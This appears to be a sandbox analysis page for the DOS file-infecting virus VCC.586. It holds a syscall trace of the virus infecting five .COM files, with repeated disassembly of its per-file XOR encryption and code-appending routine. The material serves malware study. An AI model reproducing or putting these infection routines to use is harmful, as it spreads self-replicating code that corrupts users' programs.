Sample viewer

vx.netlux.org/Virus.DOS.VCC.586

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:45:14.248140959Z 26 PC: 12a73 | Set disk transfer address
2018-12-17T22:45:14.249688881Z 37 PC: 12a81 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:45:14.250926925Z 37 PC: 12a85 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:45:14.252771596Z 78 PC: 12ad1 | Find first file
2018-12-17T22:45:14.261346481Z 61 PC: 12c1e | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:45:14.268044528Z 63 PC: 12c2d | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:14.273890798Z 66 PC: 12c3c | Move file pointer
2018-12-17T22:45:14.275843449Z 66 PC: 12c4b | Move file pointer
2018-12-17T22:45:14.276963614Z 64 PC: 12c57 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:45:14.2785699Z 66 PC: 12c63 | Move file pointer
2018-12-17T22:45:14.280064282Z 44 PC: 12c67 | Get time 0x12c67: mov byte ptr [bp + 0x24a], dl
0x12c6b: call 0x12c81
0x12c6e: mov ah, 0x40
0x12c70: mov cx, 0x24a
0x12c73: lea dx, word ptr [bp + 6]
0x12c77: int 0x21
0x12c79: call 0x12c81
0x12c7c: mov ah, 0x3e
0x12c7e: int 0x21
0x12c80: ret
0x12c81: lea si, word ptr [bp + 0x20]
0x12c85: mov cx, 0x20b
0x12c88: xor byte ptr [si], 0
0x12c8b: inc si
0x12c8c: dec cx
0x12c8d: jne 0x12c88
0x12c8f: ret
0x12c90: add word ptr [bx], di
0x12c92: aas
0x12c93: aas
2018-12-17T22:45:14.281817608Z 64 PC: 12c79 | Write file or device (Write 586 bytes on handle 5)
2018-12-17T22:45:14.293023289Z 62 PC: 12c80 | Close file
2018-12-17T22:45:14.298569098Z 79 PC: 12ad1 | Find next file
2018-12-17T22:45:14.301896007Z 61 PC: 12c1e | Open file (Filename = 'PRINT.COM')
2018-12-17T22:45:14.308876777Z 63 PC: 12c2d | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:14.315701404Z 66 PC: 12c3c | Move file pointer
2018-12-17T22:45:14.318177235Z 66 PC: 12c4b | Move file pointer
2018-12-17T22:45:14.319900437Z 64 PC: 12c57 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:45:14.322971927Z 66 PC: 12c63 | Move file pointer
2018-12-17T22:45:14.325319598Z 44 PC: 12c67 | Get time 0x12c67: mov byte ptr [bp + 0x24a], dl
0x12c6b: call 0x12c81
0x12c6e: mov ah, 0x40
0x12c70: mov cx, 0x24a
0x12c73: lea dx, word ptr [bp + 6]
0x12c77: int 0x21
0x12c79: call 0x12c81
0x12c7c: mov ah, 0x3e
0x12c7e: int 0x21
0x12c80: ret
0x12c81: lea si, word ptr [bp + 0x20]
0x12c85: mov cx, 0x20b
0x12c88: xor byte ptr [si], 0x42
0x12c8b: inc si
0x12c8c: dec cx
0x12c8d: jne 0x12c88
0x12c8f: ret
0x12c90: add word ptr [bx], di
0x12c92: aas
0x12c93: aas
2018-12-17T22:45:14.327888727Z 64 PC: 12c79 | Write file or device (Write 586 bytes on handle 5)
2018-12-17T22:45:14.336314346Z 62 PC: 12c80 | Close file
2018-12-17T22:45:14.345894441Z 79 PC: 12ad1 | Find next file
2018-12-17T22:45:14.348850883Z 61 PC: 12c1e | Open file (Filename = 'HELLO.COM')
2018-12-17T22:45:14.355592937Z 63 PC: 12c2d | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:14.363646705Z 66 PC: 12c3c | Move file pointer
2018-12-17T22:45:14.365275521Z 66 PC: 12c4b | Move file pointer
2018-12-17T22:45:14.366732465Z 64 PC: 12c57 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:45:14.377419605Z 66 PC: 12c63 | Move file pointer
2018-12-17T22:45:14.378914289Z 44 PC: 12c67 | Get time 0x12c67: mov byte ptr [bp + 0x24a], dl
0x12c6b: call 0x12c81
0x12c6e: mov ah, 0x40
0x12c70: mov cx, 0x24a
0x12c73: lea dx, word ptr [bp + 6]
0x12c77: int 0x21
0x12c79: call 0x12c81
0x12c7c: mov ah, 0x3e
0x12c7e: int 0x21
0x12c80: ret
0x12c81: lea si, word ptr [bp + 0x20]
0x12c85: mov cx, 0x20b
0x12c88: xor byte ptr [si], 0x48
0x12c8b: inc si
0x12c8c: dec cx
0x12c8d: jne 0x12c88
0x12c8f: ret
0x12c90: add word ptr [bx], di
0x12c92: aas
0x12c93: aas
2018-12-17T22:45:14.38876916Z 64 PC: 12c79 | Write file or device (Write 586 bytes on handle 5)
2018-12-17T22:45:14.410129684Z 62 PC: 12c80 | Close file
2018-12-17T22:45:14.415809984Z 79 PC: 12ad1 | Find next file
2018-12-17T22:45:14.427923107Z 61 PC: 12c1e | Open file (Filename = 'PHANG.COM')
2018-12-17T22:45:14.435311735Z 63 PC: 12c2d | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:14.441967134Z 66 PC: 12c3c | Move file pointer
2018-12-17T22:45:14.443863142Z 66 PC: 12c4b | Move file pointer
2018-12-17T22:45:14.445833358Z 64 PC: 12c57 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:45:14.449673199Z 66 PC: 12c63 | Move file pointer
2018-12-17T22:45:14.451401616Z 44 PC: 12c67 | Get time 0x12c67: mov byte ptr [bp + 0x24a], dl
0x12c6b: call 0x12c81
0x12c6e: mov ah, 0x40
0x12c70: mov cx, 0x24a
0x12c73: lea dx, word ptr [bp + 6]
0x12c77: int 0x21
0x12c79: call 0x12c81
0x12c7c: mov ah, 0x3e
0x12c7e: int 0x21
0x12c80: ret
0x12c81: lea si, word ptr [bp + 0x20]
0x12c85: mov cx, 0x20b
0x12c88: xor byte ptr [si], 0x4d
0x12c8b: inc si
0x12c8c: dec cx
0x12c8d: jne 0x12c88
0x12c8f: ret
0x12c90: add word ptr [bx], di
0x12c92: aas
0x12c93: aas
2018-12-17T22:45:14.454639363Z 64 PC: 12c79 | Write file or device (Write 586 bytes on handle 5)
2018-12-17T22:45:14.468813184Z 62 PC: 12c80 | Close file
2018-12-17T22:45:14.487347506Z 79 PC: 12ad1 | Find next file
2018-12-17T22:45:14.489993349Z 61 PC: 12c1e | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:45:14.497190455Z 63 PC: 12c2d | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:14.503508751Z 66 PC: 12c3c | Move file pointer
2018-12-17T22:45:14.512001723Z 66 PC: 12c4b | Move file pointer
2018-12-17T22:45:14.514287697Z 64 PC: 12c57 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:45:14.518020809Z 66 PC: 12c63 | Move file pointer
2018-12-17T22:45:14.519762978Z 44 PC: 12c67 | Get time 0x12c67: mov byte ptr [bp + 0x24a], dl
0x12c6b: call 0x12c81
0x12c6e: mov ah, 0x40
0x12c70: mov cx, 0x24a
0x12c73: lea dx, word ptr [bp + 6]
0x12c77: int 0x21
0x12c79: call 0x12c81
0x12c7c: mov ah, 0x3e
0x12c7e: int 0x21
0x12c80: ret
0x12c81: lea si, word ptr [bp + 0x20]
0x12c85: mov cx, 0x20b
0x12c88: xor byte ptr [si], 0x4d
0x12c8b: inc si
0x12c8c: dec cx
0x12c8d: jne 0x12c88
0x12c8f: ret
0x12c90: add word ptr [bx], di
0x12c92: aas
0x12c93: aas
2018-12-17T22:45:14.523614795Z 64 PC: 12c79 | Write file or device (Write 586 bytes on handle 5)
2018-12-17T22:45:14.739432148Z 62 PC: 12c80 | Close file
2018-12-17T22:45:15.020415341Z 26 PC: 12aeb | Set disk transfer address
2018-12-17T22:45:15.022719758Z 9 PC: 12b03 | Display string (String= '�����tƆ�*�!r�:�O��;����!sٴ���!��Wð%�p�q��<u�� �!���&�������!�'�????????OV?� ���!��????????OV?')
2018-12-17T22:45:15.030125692Z 19 PC: 12b18 | Delete file
2018-12-17T22:45:15.035904484Z 9 PC: 12b4b | Display string (String= '????????OV?')